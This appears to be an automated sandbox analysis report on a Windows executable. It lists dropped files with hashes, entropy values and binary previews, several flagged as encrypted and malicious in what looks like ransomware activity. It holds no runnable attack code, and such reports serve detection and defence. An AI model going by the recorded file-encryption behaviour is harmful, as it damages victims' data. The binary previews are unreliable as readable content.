..ij1..V.b.M>..>.E...*N..n.C.J.c@h....;+.......t....O.:'.X..........t.(]..x..NXx.I....4`..."9.L&..\.J...!...:>lf..> ..!.S..'$:."7zr.4.`p.u.....AQ...].j6.-..2.|..D..d.....6..[...$.]n.3f..V...:...6A.......D..2..<
.....Uo..e...f...%]r..;g..C%...t.....0t%j.........U.Uqz.:xPw..P..'H:!..0l.{.1?.x..)&.j.^h8...0.."..S1.x.LO).d.X?.WD.*..(......@?..+.\.:.f{*.......DP.?..R.3.!..R-4.W....M....O.U\.M......~2.|.......
(.J.j.."...5.....$[G(.s~.{..).p)...V....S.......R.~C..Z....B=.t.Uz...x..Eu..?.w.+\Y.....+....'7..a...:...?..94..2~.Wn;..X.k.V..o..Y,.D..c..a...-*.ux.....I!.......Il.Z.-..n.sA.yM,.[...V..N...{.G.
..V7;...S..."IG.|.....d~.my....u.k.W...Y..?!....;.R.....D....8;'.4e.;..%o.:.k..`vM .7.}H.....4V.R...+..z...z.e.u.J&`.l;.gWZ..+.M.;!.E.....C..[.....~...2.P..:.E.yO....

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 598

Entropy (8bit): 7.576754975277227

Encrypted: false

SSDEEP: 12:Yq69wvd/sm1o2agm16P/p25Xn7H4tOR8MjlNQjSDAOEXNcii9a:YqJvd/Ro2mMU5X7HZqjS6NbD

MD5: 88ED9DA1660A15E0A84A0222883F9BB0

SHA1: AB358221F33727B1E809A4928DF98CDFCFB9D04D

SHA-256: C43B0ADB371411099BE705E673F09D1E95408A528DC645CD9919BBAEAA413C4B

SHA-512: A8B639DAA33992E2238593C45EC11A1AF162DCEB1F9FB984C2449756FFBA4877D0F0F4BCBC10AA0B6863E9B6D13B9A9156A78A495A7C2A812267AAC3FBE2F2
AF

Malicious: false

Preview: {"ODSZ..4. ....ois...av`.....eeC.1...1,....s...]......U....@..3.j.Uu....U}\..uh.xi~.......J.d...j.'.)..m.......x.#.+....`..[......|.5.p(......k....+....o.s..n".C....@~..5.#..n..z.w..m..K.7KR}=/...S...
.'/t.H....3.`..E...lP.F.P.p9.X.)...)......U.L.%6..7.[..?.......O~]..`..VenP{s..5._..d..,..p..`]CY......|....PM.O.*.GEl....+F...D."...h.5.D...BY.e.,r....}%M...@...%q..t...]..aZ..<.w(7..)...+.
%...m.H..G...vO..).r..).......S.2...O....?:.ZsFy...vV..E...............X..w...nX.....)7.l...A..(.d'..MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-
0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1318

Entropy (8bit): 7.841169455295522

Encrypted: false

SSDEEP: 24:YKkBL/uTNeof3POTs1Ct1rWbQY6ZEuuZ9mMvBR3scTBKMTgCoUv0NbD:YDBzTFrr0HhmMvBRc+kCoUvkD

MD5: B18DE041F3AA02FD431870B477FADEF7

SHA1: C5871063699DE20C95599A8C0B736D8EE0FB646A

SHA-256: 8BC4C98842D786FCBC2A8B40356918C1C40EB648FA6910E4AB5C407DDCDC79C8

SHA-512: A9DFE9B27C7D874E4564CA9FA92331CFB8FC8432342478D72C429A05EEBA4F4876968866FFBA371D44F88534411B7F17843E311B581C05B60AC8E50E69BFDAE1

Malicious: false

Preview: {"Rec.(p......-./......Pw.m....Go...a.~2C.6j..S...s#d...Fk.s.i...u...n..x...g=v...o[.'C.......y.........+>n4N "q..9.g...5...b...Y..=Q.K..Kl.f........4..0.p2..........E6.*.C.7.F....~..B{.....}..3.2Xn7.
...3y.k1. ..^.$..W..`D.0..5.S.G."2.....e.V.(.q.R.4.?.].g..R...I.y...!.a%5L...:..FZ$..;>..7.......!Q.d..w?.X.$XS.....z..V...RJt.#..#....q..b..[..`[...b.@...Q..Tm..#1....h.q.7...@...........{Q
.........yE..v|...3g.1.~7L3......6.........3JV...:S6....J.~Tj.u..9.....I..[4..T[..i.N...x.y'!.....:.A.NPA:._......F...r..oI..Q.C..`C../..q#..-w./..{...<.7...sS....P..P......6.$...o..Qh..X...,...n[.*@,
8Ji..DV....O..3a...|....U-Q@.I{.dT|.......q>V.,.\.M.......^* sM,.......2..b..[)..2...u5...{Ah.b.@h3.<\..]d.MP......}..e....*;.L......'..u.d-yQ%.kY..9.6..P.W.{._..xV...o.....5&D%../..4e.B..s.
}....z!......J....G_s....c...e).O..zp....wZ.G^..*.>.....P@.....G}0...g....?.l9.Cc..e.gCR....5&9.4...'.r[.$6.^W.d:xK..<.m&.S+....cv..$.3..A&..(.=.x..<.$Em.&..x..)...B=.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3018

Entropy (8bit): 7.934065654733384

Encrypted: false

SSDEEP: 48:wkNori+88ow9OkRGFxvsPD9k/bTtxRKDGykJy1w5lmuejmO9wMBvRr2JPsMSL6dI:wkyIIOHvsr9q4hG5MjRlBwJPy6a9BJ

MD5: 6DB33E8245CF8A4BD6DD3A76BBEDB2E2

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\ECSConfig.json

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres
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SHA1: 0C883478A36350019008DA3F6D2ED0E9EC686A52

SHA-256: F47F0517671EA37B3F8C78AEF9313C013612115FC5F92F96805605C54EAE22AB

SHA-512: 8ECD5E622AE58E9D951542770D8A685BB1C40D166B9B2B06D2BBB8B419FE151185513348511C212D58EA95DA03DD088466F27E78B4E0E81C7B7CACA585FD93B
7

Malicious: false

Preview: {.".T............6."..{.$p..:.;.-J.HC....^.DK.......1K:...)...}....Fs...b.)...v......m..u.).CX&.`.O..I....N..g.....3........>.X{......X.._..I.*Ao....{.c.N....t..%.......Z.6`A..0{...q..Fx.c.<.}.?%.+..l
.R...)N...t.b....E.D..+....?@..!V.0.%:.Q\RE...7*......^ye...W3....-#l.]?...%M.....h."_..6X..D.^3....%`.`.c.H .._........].(....m.C...::.%.....Q...4.[.~."2~.Xx!J.Z.7.-.......$N.&n..F.&TGHw...
....../:..k...P7Kb.|l.<...7!...;*...[..|..bqB.F.^n._9..Xl%oZ@U.............i.Z...i....g..M..1R,J...'..&...\.j.M]`..:g..../.Tg....H3..../:d.. ..f...[..I1,...".....1...4.~r..@..i{......?...7..mj.....L.TQ..q.`..&.
...B.2.F.........h..w"..A..a.`..p.|.."m-.a.x2...,..T.......3.Q,b0L,...V.....?.....).1VCW.*!|..}P..&......&Ym....w..rG..`P..$...."...J..+a....l<..8......1H2....<-..|2.W.....P...x....."v.LIq!F..G\.>...I
P...bC..N........#H..z........G.]!....i.....A.X>\...K..%_F.z........^z.1..c.B,..f..h3..}.W...QLz).#....c>.0nC..]..9..K..P.0..s.Ib.......LG...!..a..b..B.p.....Eo

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 770

Entropy (8bit): 7.723135199558113

Encrypted: false

SSDEEP: 24:sgzo6R4wA4qn+ZLIVVq/G/kckzef6U0NbD:sg06R4p4q0I/tV0eqD

MD5: 8C2295A621E4809D6B045B335488C51D

SHA1: ACA209603FC469F3DF148C85D28511D3075B88FC

SHA-256: E37A9BCA33EEF3FEB8433C582F3D9453315D7331BEEC3A8B9DB448E90C6EE6B1

SHA-512: 4E84CDE05429D4FF49A2F76342A5B8A2B4B95CC79DAF6854F5010EF409DE59DD48642119F7B3E3F7648728E2538F5B79C67A72805843B27ED2FDC97D3F12A27C

Malicious: false

Preview: ....B....".9+|....)1AyR....@...%c.<B...>b..gp...Q...D.L.j.....V.....s......k..FM].>.,`..J..3;.0.1ee...r......&.*..-.....".F....=P1..CP5..|Xa.z'<v..o...V@.......Q..m#?.......+..x....mH4).....
...mk..d7#...]uQ.M.....F.;..^E.~+.O'2.7...u.Vq..\.2...$...|5....M...c.."...m....r"9........~..:..s..s....IG..>e.......K.}..U......lI]p..]LS/..*.S.A..A.....C.{&...d.%..o....ot......'....f..1..X..u.....
XDW... ..S...U.=/.h.D......}..*+.X.m.w.8..i..x..B....ich.2O..B......}.R.L...Q.TD.u.I.l...7M..Wd.5._..A.L...K...O5...9.`wdvIO..zL......K...H..Y"e4..a..w?.:=e.{H..>D7...?}..;...7.5...i......`.
..-..U...G.`k0.ME.~{X.....C..(o-..K.=..t9]ne4.`...*p........'....F.Y.{.%.MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 419699

Entropy (8bit): 6.335065515135339

Encrypted: false

SSDEEP: 6144:I70NKE1bZpICE51XdOEGi+z4b8ahQdcFFcWAF3niI+oA0e:KcXZ2pZdOEGi+wOcFFcW43iobe

MD5: 93695E14C27D3F084517AF18E309726A

SHA1: FCD42E1D4002AA569805BB37E9426A00E161C0AC

SHA-256: DEF01BB9682227AD9AF98276F8E8DCD6EA0A3560E5BC32EE0239CA34D58EEC51

SHA-512: 47BF70BFF38DB15FD0560E4A823DCADADC52D27F2E9A894B7593EB5AE7F3306E809CCA514272BE15FA7487AFFF176CB7848DE6B8476069BCB6891C058A1BEB
EB

Malicious: false

Preview: ...P. ..(..%..GU.]p...^..,z.p;..Y9T....i.N.p.;g.......S.e........$.s..kFy....|.j..g+...2k..9F.......jL<.-.....nO<s.1@.....T....b?.?.ZE.K.R..v6p.....<i....NN _.g.Y.L.,..Sz...V.Q#6TDM..E..fkE.
Mc6.k....BF..t.$........Dm.0V.....JP...(.z*...y~.0i........)....q....;P...+.8 ..N..uQ.z7.j...G...IK.f.{.{{...%E...Q3.|..7..N...8.....]u.TP0@VPnv.z..|a"d".=V-O..._{.o...x.X......D5uVxL.Yl"Bi[
y.7...n.d.6.>.o.......4......gr...f.R$.....].@x&F...fc.A.[./.H.(&p..!03.]-D..:..Eo.vM..Y.Yp...gG4.%[.j... OL.'S....Q..?+.\...M....T.".BB.`..J.}P...<.s.Eo..(..t...:.M.tlY....8.b. .Z~...,<6jB.
Mt.T.....uM.!k.6..d.)......sS...nY.`.v%........I..UP%.r..xN\v.N...K)..]i..GU=.-E}..]'E7Jd.W....b9.<S....X...:.."=....D...H<..........\....o.A....D.......F.><......P....v".h......^.=.!}...O......}vA..:
.JP.R+3.n.R.d...z..d....w'r.|...z.uH..vU...U0...O...=~...`...P=.3.N'."..............._.....x...z. .C.i7..Z.&....5.._.N-..."..BTc....Fh....9...k,....x...'..$.|8.q.0,y.o.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 7207

Entropy (8bit): 7.973042727470322

Encrypted: false

SSDEEP: 192:YUPIVDBak7tGxrVPNNMuUzJg+VyGv/PH8Drm:LPIVDZ+PDlUzJg+dPT

MD5: 5755C57471D0286F7CF6DB48332AB746

SHA1: E401332A0E8B48C49DF94545423E37AE2B0988E4

SHA-256: 861F5F66C7DED1A1784E58FFEE4832150DB96CE58F9050AA433705E597487561

SHA-512: 32D0656C75CB57EDA342D2569EBA5B666AB0D25C293858E3FAD9722ADA21EDD54AF9D200725DD880E330C6D6C83C6E553E36869B4A740682D86383B773FB422
0

Malicious: false

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

C:\Users\user\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin

C:\Users\user\AppData\Local\Microsoft\Windows\ActionCenterCache\windows-systemtoast-securityandmaintenance_29_0.png
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Preview: .PNG.!...k.BX....~.....w...^......s3P6....N..@..')....;.C....%...YC.../.k{..]..w... .3...b.PW.<t....1....>Ok.d"....sLq.=....r.....-Q..8OK.[xq.:..dfx._.|Y.......:..~b..bo.+EXF.m./.g/4..y..]..
~.=&..@.,/......-]7........<..6.J....LO.;.Q.....V........&`.N..0S&<.~...t..f.cH.{-.z.e._lW.f?u}O?........c...a?.."....:.d....3f...qY.1^......{....M..4.A......X.....#r=.E....$.'..Q..&.@W.g_3u......P.
<.#A..n&v.V.............1=.)..1.qv.T..=.O.p..y.A..n.L./...70..V..dtP..M..Y.^fc<..lB.&.fZ.X.-...7a.3..0P...$...}...(q`7....t.a..G.02.....tr..I~A.72..P.og._.L.c...b7th).w...;..-b...1mK..T.....6x
@E....5........~.G0IM..h...J...%>..w.ogz..i..E..*;........M.6.......".....;....E.....I..3...i....3~..i..........)..PE.uD6c...... h.....,....x..5.p...5.3*.qZ.Y.6.C........F]IJV=..H*h....."t.tu...o.\g....../JI.I.
.F2..16.!).....uG..-(w..<...IQ.p.....8..6..L..N.-f.bD:...8a.......v.HkV.......).!k.&=}.;.%o...!)X..O..R..;....jETk..i...L.&C.%L0..8......\..<ONE.<M..-.-2

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 16718

Entropy (8bit): 7.987462216393223

Encrypted: false

SSDEEP: 384:C3rxv/ETS4c7+rtSr4pMoqndNPUkx/oDWNCm:CVv/CS9+rgeAdBUm/oqL

MD5: 96653F1AA9FE6A416E3DA7ED5A6D6038

SHA1: B15B1B0F0E1FA4231C7322F3F7F682D71A7D4857

SHA-256: 053406E81E577BB0EB47BE2C7D8E24DEF1410501AC1CC01D9DA30207A5817345

SHA-512: 3BB06784361384FA24AED805017DA02FFAC723B155F7C6F7D856F7365662178A9585BB0545F041C04535E0235FA5A282C274DD05CD1AE1A141A6D050CE9B4214

Malicious: false

Preview: .... ...)_..6.&.....E~Np..5.B....=.W..A/.....=...e..79Y...2\$4.....m0.y..V.#.=..H...].......!.W.m.*.C].....Z...~.........=.x..Z....0`]....7....|.V.oY..^..4G.T........!..9*..6.b.......u.0.b*..s-.X...0.g.-
....)(-..3..ui)9]..c....Gv.....S.|_}..4Q/.....Dq..,;JZC..S..pYe&w.R..+.Y..8..^.B.E..g[..\U.....m.SnY...k....e.hZ=.Bi|:...fnK.c].....4....@uo;..P..V......-xkl.+........P@Jg..Uf4...Z)..6[.y
..)...y.F-.Ts..B..M...Qy+c{.y...s......H#.J.S....d.Ym..R.u..=X..;2#...y$.B..<8...H.o..vS/#j.#.F.'.x..&O5..Rc~.<)VBA..0.P....X.X.....m0.....rE;#.]#.o......Iw..U.6.I.u..L....N....... 
m..pV.Y...iQ.Q....g..<2.b..X.\/T.....f....7lz...e.00.@5..._@..BR,...._.EO-.8..y. <G...,T...9....w..QD.M..A-<..X.....<. ....].9.T.?9".IY..Q.*..q.PM.x......J..ET.p...`G...+...U.#{c.
5N..1=y...b{G.'..*...2S.9....Y.".QLy.s...ZG.p.r.gy,n....42|.nR.c........r...EZ..}4....e.....{q..}=.....C.,...o..Tk.....^.....F. .RS..C....Ti.....0.h4.a$K.........m...g..oR5..^..N..|...!O..~U.q...~H

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 16718

Entropy (8bit): 7.989132151333999

Encrypted: false

SSDEEP: 384:S/A7h8a/ZCJ/ENVKzXlOD44PjpzWuGWR0b/DPtTRrH:YA7V/ZCZEr2l644Pl6WO3PVZH

MD5: 357860FAD7C315C959EB1C697A88A76D

SHA1: 4A99D91AF56CA90D24BB990965C9717338016832

SHA-256: FE41AB2935F2A958127A269A4690FFFF61D60B3F9C2E9FD4A9F0BCA2201AB5CC

SHA-512: 57FF530BE345850A8534B89BF0B39EA3EC6C3880D44E15483DA39D0E3C65D8D62861A93993FA61EEA7C22F05664EE27A550054E5D73191490A67243385D06735

Malicious: false

Preview: ....`.m.v...Dw5.ia...tHE.lP.f..\...&...M.%....6......Y.2........Iy.q.#.....u.......qS..C..5o...s..,x..O.muEb.e>e6r..9.l.X_....fK.Dm.{.=...3\A6(....B.SYM.wC....?.m.k..(9...6.&Y.....#..* P. ..
.'...Yk)hk..ZwB...P..Z.).._....S\ .I-.6..2.....;..{.."_.k.UG....t..Hk.F.F.O!J...P..oAE.....=Q`A b...!....'..z.jo..s..W....l...Y..l.6?]v.....vBc..&6.).f.*.mg-.G.2....iyS!)r..UH..C{.C.t.....V&
.0K.F....cW....].h...:.*U...;#z=..,6........I..[./7#..(K.EkA...o..(L....d.EXL....6.4q....f....8...rG......7..8.o.>..^.........1..p.Ed.....y......X...J3.\.\K1.I..o..K...8PfC...J.k........a..G.SPm/.j>./ 
.$h_..v-.{".a....L.. +...I.Ad.o.*@D.Y.$..l$".{.e.].....(/...m.1.J....v1|.U....1a.e......Vhmt.|Y.;....tH.........v.......h..j.V..b......6x...w..........TvY. ......OX...k>....[...uT....).>.gf.u...Qu%..
......h?.'3....S......i+I.m.LN.Nu.i'f..h.o..b..k...7)..f..X.7}-r..W.....!i..ib..K}FR..\(...l...2...(~R.........E...z..#G.XS..-e..d\.'./.8.B.K....J..'.b.u........[?.....n$..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 419734

Entropy (8bit): 6.335207881859765

Encrypted: false

SSDEEP: 6144:Y7QWWQzzWBQzTN+4DJ/YuYv0zi+z4b8ahQdcFFcWAF3niI+oA0K:LcKIl/YD0zi+wOcFFcW43iobK

MD5: D700A1BAE211CE2091338CC2ED3C16B7

SHA1: 825AB48020E69B47037C058A7C0B0FBD6BC0071C

SHA-256: A272A3321F63B752A5AE9E67A9C190CCDD3DBD01E177D6D4E8571DB8ECEDC82E

SHA-512: 1CB81D2740D68CF827DA3BB1664B97A4042A8DC08FBBB47F9C9EC85CB47016F5654C3B824E6824DCC61AC62BC7179B3F9D9CED243FABA4CF6EF71024A56577
43

Malicious: false

Preview: %f.. h.......8.4[.......\....!|C..o....D.t...;b.).1...*...%.6.zt.7.A._ v..u......bs....p.....N:....|.6.|..qp..h.]:..f=...tf..#...&:..._.E.p..,.A.L.....n.SI`....3...J..&xzr5........U..5.....qz...Bh..A1.F.s......
&....b....V.~g.%..s.&YM.n,......../8..X.....zAy.V&.qgZG|...K.S.c...]B.........d..n24.=#.k*.k...1..<.7\...U.=`..,.FW.M....E.`.dH....c./.x.8?z.....].+{.N.4...}....|..,..Th.."...~..W...A.^..l..
.V.jx\_m..FB..v3X.%......T.#)...8Z....l...j..K......e.p...:.QY...l2.....Z......lK;....`.b..J.%J-..A{.#.....U.YkU}Q..._...(..K.S.'x.ob.s..9g..8Kj.]...^..e.).......V.N#......}....pS..\...7..s..5\.915jD.
.f....z...h...n....\[Y#P..l~.s...e!;.......!.j%.(....P(.h.......K...m.zXe....3.<.....4.]....6.....F.n.......J..DV.G.h`...-....5...~H.. S..Ge#.5./..a..u..$=P.Cr....U...T ..5Wt..L.V....>Z...Tq.m(7T.....
:...ec....(Q.DR....Y.A...].e*n....i.Uw8z.mrKo...............py..."tN.~.h.N.;.K...mJ..4....dh0...@.1....a..sTk..H/.. h..,....P.X..h..n.~.j.B%..#.l./.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{278F5142-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 110078

Entropy (8bit): 7.998227411415876

Encrypted: true

SSDEEP: 3072:/RDN0y9eKV0cPhZ2UI+tZaSIGGrpYT9rWaoCbqJJ:NFeKTPaUzcVrmWahyJ

MD5: A9842A44092AFD8E446A313E9F2D6BA7

SHA1: 4EEC1A692BA1B1BF2192644BC94E7242FB3E1709

SHA-256: BE64B1621B09633B5577AF001CD174BB4D421FE82E4961BB6C1987460D8EE15F

SHA-512: 2F385DF363CBE3ABD71129E16E2CC5C0A61D92AB66310DC048AD869879D151DCE90B1E6EBFD28C137B34B1BD70F8C71D04E603443C0F5B6FBF3B8FF2EA0284
6E

Malicious: true

Preview: ....h..DQ..U.x>-.....t8M.ME...n0KEw&4.5w.y.[.Uh'0.of....[..=.B].@...Z.j.....W..5B...w.>..`....GI=.-o..Rmt.o.s.s...).+H....,G...V.g...BUL.L].^B......;K....X.....yj...Zpv &.. Z...2.n
N.R..J...]0.P.-.l.*.....!..tQ....i..p[.6,L)9..q......$z.=v...^..t..;.<.....JEP...Z...6nZ.TO.:'..f......%.T,X.......1.|...).K6.h....Q(.g.>A.U> j..o$.8TS...G.....^;?f....(`.2...g3....{o.r...wl...3.I...b
z...W...a...s{.h..... `..T.....nw..&.(.^0....;ji.cP......P..........N..tG@@.:n..g.ZQ..&.'W...:..b...@..~.~..5L.0D...I9.g...s.....E>Q...qLn..b...7.@.1.$<r.....>P..~X.=u....tq...V.....S..[=./q
...TM.h..p6.-....a..x.g..^~$..R....R*-.<1r.Z.....d..g...Z.4.Nz>.x.E..0.H..I8c....(.B.|5n{.........k....c....e.$...1.b.c.....g...L8e..q.N.&....'..W^l....2..Bb..m..BR.h=..X..H..Kb...S.m......G
tZD...g.qT`...M^`-.k....2lz.."9.t{.. \.{...)@...G......^r.9.0Zi.#b=..#|....0%4......P..Gc+n.. V.D.A../98?,.V.p.....jJP.S...P`......Z.,U..l..t;.j..UQ!.|....=....7..:7.....3i.v.P!Ag6Z.x..n..Ly.s....h

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 106046

Entropy (8bit): 7.998120603503284

Encrypted: true

SSDEEP: 1536:urDGAiatgeJf9qWb0ZF6tJeuAucAD2mFLcZCrhi2rbxAWeUmFneRUUBnUEh/6pO0:urHge7qWb8673AucARwwrFUzeN7/6LX

MD5: CF0081487BC24577A7F7C35B78781C36

SHA1: A40BECAEF7B52A4B1D38F8C8466EB41F6F6A31D1

SHA-256: 74CD7E630DBE9D37245823CA42B15BA9107C7F12B8479A13FCCDEB440D64A09C

SHA-512: 4A6310728DDAF57F3835EE81F436260491CD56905C7BFFDD854A8111EF1C0C97316CDFCB76D88E30F1E3ECA773F5C0429C6FF734764A8036649A27F4B091373D

Malicious: true

Preview: ....h......;..Ll.$.5..R%-......6t.JG..2...V..wj._.. 2...Fh...f...Qx'.1ii.4.W.Pk*W.6....._...c..M.i..gV...y.KQQ.E......f9Wr1...V..t`.Y#...B$w.-.__F.....j...e4....S....[.]...z..........$..z...S...W.....
.x..9=..Z[..qcT..."@cI....\.v....5CzSmq...w..K.yS....l.....(~....R.T.!...;j..O..S..xZ..:......:...X...6l.>......W......u..B..%.u.$.G.b..[....f....y9O...E...=c.i.*..`..w....9....'.a||...u!........2HD&.
K_..tD..Q.g.^.)....I.2...7.of...\....U.....-z...4....3Y[.M1.v_v}m..}..N....6.L.i.}..9U..J..Y|+.=.!......$.T?.*.....U./<M........)[.../*.sK,Z...0.*.@..rt...h.O.-Q...~....fE}.`.A8...]..b.H.C..?.}....[Nv
g<C..}...F....;..!v......N{......+....i.81.....4..f.gS...0...E'..Q.|`@CG....T.v.}%.(S5<..P". ..D.5.M.....V+,.5..?...CFE...~....L..M....T....V....3?;@...-..N.`...Z..7j=.....t..d|.ak......_......<<..=
[D0Qj6.&..H...9.?B..~.,.q...x....B.be...x.j........5+CMp.......C..OiD...c..GO..lp..$kW ..g.5nK....=.7......g:.H..-......m\R.>...T+0.....

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 110006

Entropy (8bit): 7.998493257125471

Encrypted: true

SSDEEP: 1536:kf6ASAfIT0UQ4s+90IMeJmQZXTTMuHdTsH3SinwePMMfzNi38JYAn1B7im7RRVf:i6zAfIOVbwmQZHtCvfzNi38J3Be2Vf

MD5: AD1C9585C8518C7A47C6ECC8141FE880

SHA1: 029D3812553C44363893B48AF9FF6A4849BE412D

SHA-256: 22D01C2F2C1E4642860D40F9AE9F86D0130E0C572886A4BDAF8DACF875472554

SHA-512: D673AE4D57AC3AD344C5D520C766BCFF3A7820A94AF2AC16903BC0D55954CDBC554488BAEB05CDC560183E04BCE42C27A6E0205AA728EB21ECD22563B6E37
1B2

Malicious: true

Preview: .......To.4<...J....}...."0.\V.q..E.pw1/...8....X... .y"..:. ...tY!L_..F.......m;.F.9x....[p...}...f.5.....]'.R.....A\...ZX.G.sq..E..q.)u/.]....OnpL.^..z6.4i+.Og..:A*+).........n/,4V?.DP.7.D.u.y....h.
&;M.^......"|...."E..."q....8..H.$66./....ki.<..KD...(..fH.."U.H..Ai\u...W......C.B..U..W...[A|i.x..+=;T.(5.J.jBJO5....M.......f.9...1P.7...=P"D5.......H.....Y.....j{.ot8....dC.J.....8.X|..!
.._...77H..."r...Jf._y.k.0:J.(Z.b..U...CK4U@.9..~Bs.;..-..H..](."=..rh.Q..8.o.`wT.....:..u.P..K5...Y%.A...QR~.,.H..$B,.I.....]..,.BZ.,...*.o............K.x.....z..V.....{Wj.......Sh.......ML
t.:...PoNfCct..}....{+.......,".....).bW...o...2."...BRv_..A..%}.g....&........y. g.>......`?K......N.{.&..ry|.O(.^.:...%/... V......i.k1.h A...42.K..lp..".hF...f~.......?...0..q.T....:.P...&......>..
@.....C_..3.....!...-.).....h.4..p'g.......e.CC_....n gh....._...Q.m....S.8..xq..._3.....5.b."..WH...D".l..\...V..2..34.t.z..a.9..Fpf%=..M..7.=H...Y..A.#.......ew......P

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db
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Category: dropped

Size (bytes): 113166

Entropy (8bit): 7.998625153797735

Encrypted: true

SSDEEP: 1536:Hx9eis6LH02Fknf6z3kOaD4fa+2SCLE/Lz8ogkAobbXD4NwAfSOAPf0f4BXNALfZ:RnBLicy+2Si/klbbkgPf64BdOfvgg7

MD5: 601B52135B341934DD5432C59A71C9D7

SHA1: 67F097986867D357AED8042CF7B5BD79FFAECF3F

SHA-256: BD88AD3DD16A7911D3DA3F512A20DDEBE40C97D0390029D736B83728D42A658D

SHA-512: E6C615AF866653DFCCD9083F17CF7B49BCB0EC693772EC921EB2AFAB6B6D298E13C910FA787D29D3555ADB2E90AFE99B153E01A086277F53C932892785CB2D9
4

Malicious: true

Preview: .......#A.V........cn..AC..m..Xo../..p..=.".q.9...!..1.`../5..........,.....Q.......u........5.K$..l...2.."..Na....x.j)r*v.)@.fXA.G.j`Gm...Z_....?.o.......+.12..I..f.JGv..@,......D\O./26o....{.....E..
c._.$T.0|\x$.&..l.6E.)..o.3v.... v.5._.u3W.g%.6.m.XB...-.dK...........[........&...t....A..D.....u.]....j.$....|.#.,.....VM....vz.^,..m..[......`....BA.......9.\.|..>.X....l...]+?g.Y&.....9...n..*%...
.>...a.....!.B.Z.5....h...r.z.FUZ.......=..U.E.r.........k..}.T.Q...|G.b...+..0...yW..$..&.ID.......\.>..7[...8k..?.R. ......~..vB".......I+._.q:..=....i/..o...\&f...=.b.A(......1.?.x&.....vs..Y....`v
B.67.r.W.@o..~Vd....;r..dX0h.....?1...VZ.........8......_rN..x.\..\W.i./.~..n5.x.....\......CYx..$.b...}....I"..9....Yc.3.....`...X.....*w*S...>N.x......z......!..#....#.@.tA.`..P..B..........F.!^'$Hc
S|K./]&..d..!B...^..=b.T..Rb..k;.ox.......2.".. .'f|b..l..w....@*....<e...u.Da...k<.e...*........(@..}Rj.....5U.y.v.....L..lR~<...&.N.....n..CY..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 467278

Entropy (8bit): 5.999773391946612

Encrypted: false

SSDEEP: 6144:QPP/2qWHdyK1B6vVC3WaX9yzzWhFQMvNl:6/JWHdGNC3WsgWIMj

MD5: D3A0200807A96D769F5FE523B14B786D

SHA1: 890E6C65A7A41E3703D0C599467AA3672A7EB4C5

SHA-256: DBD22FE96EDEDDB2E4C7118E93A2E96F52D810FCE124DB86566D939793D3731A

SHA-512: D7ADD0DF247E43A8B4EFB37677B3CD2EC279D23FD225334A4D3988261774B07360E992740D1E5452EEAF4F49B7151397357A7CAE96FDF033362B9E63F858348E

Malicious: false

Preview: . .....z.E..E)m.7...K..~.;...n..f.U....c...M=%..n.yzJ1"......j8,..aS....{....~f.F.>.v(_3...:U..b.a..q.,.f..$~.\.Aw.....d-...l......j..h.,5.wX.x............L../X..a..D|!/p:..l4j!.[e!.......C...f@5f-M..
P..|..@..h6..&y..r..........U...^.X.+"..."".(.....E..>a""V......g.&..}..x..I...,.5M.g...:.j...:}....h.$....-D...>@.....<.B...+..........o8[._...X......B.11.:8......b.Zi.....S...>.0.....K.E.[. ..s.c..1./.Q`....'
....C+$.PZ.$......`.V......a...3.....z..........Q....P.,$.e..w.j....u".VnQ0..&.|9.Vp.LH@....#JL=.w.c.}^....j.O.x.<v.."......kl(...+.,.}.".P.9.E....|..Z...#.........9.M...]...46.EB..M6...@.. 
..G:..G$t...N5..e.g9.C...sNT<)..m..........EoV}.i.......>`|.......6G.e...L...t.$..@..F.......f...e4....?..:T...v9f..R..J}....@.. .....Y.0.w]....V"..9.|4...x.A?.E..:Q.h&M.0r..5.).t'.o...Z_.8.
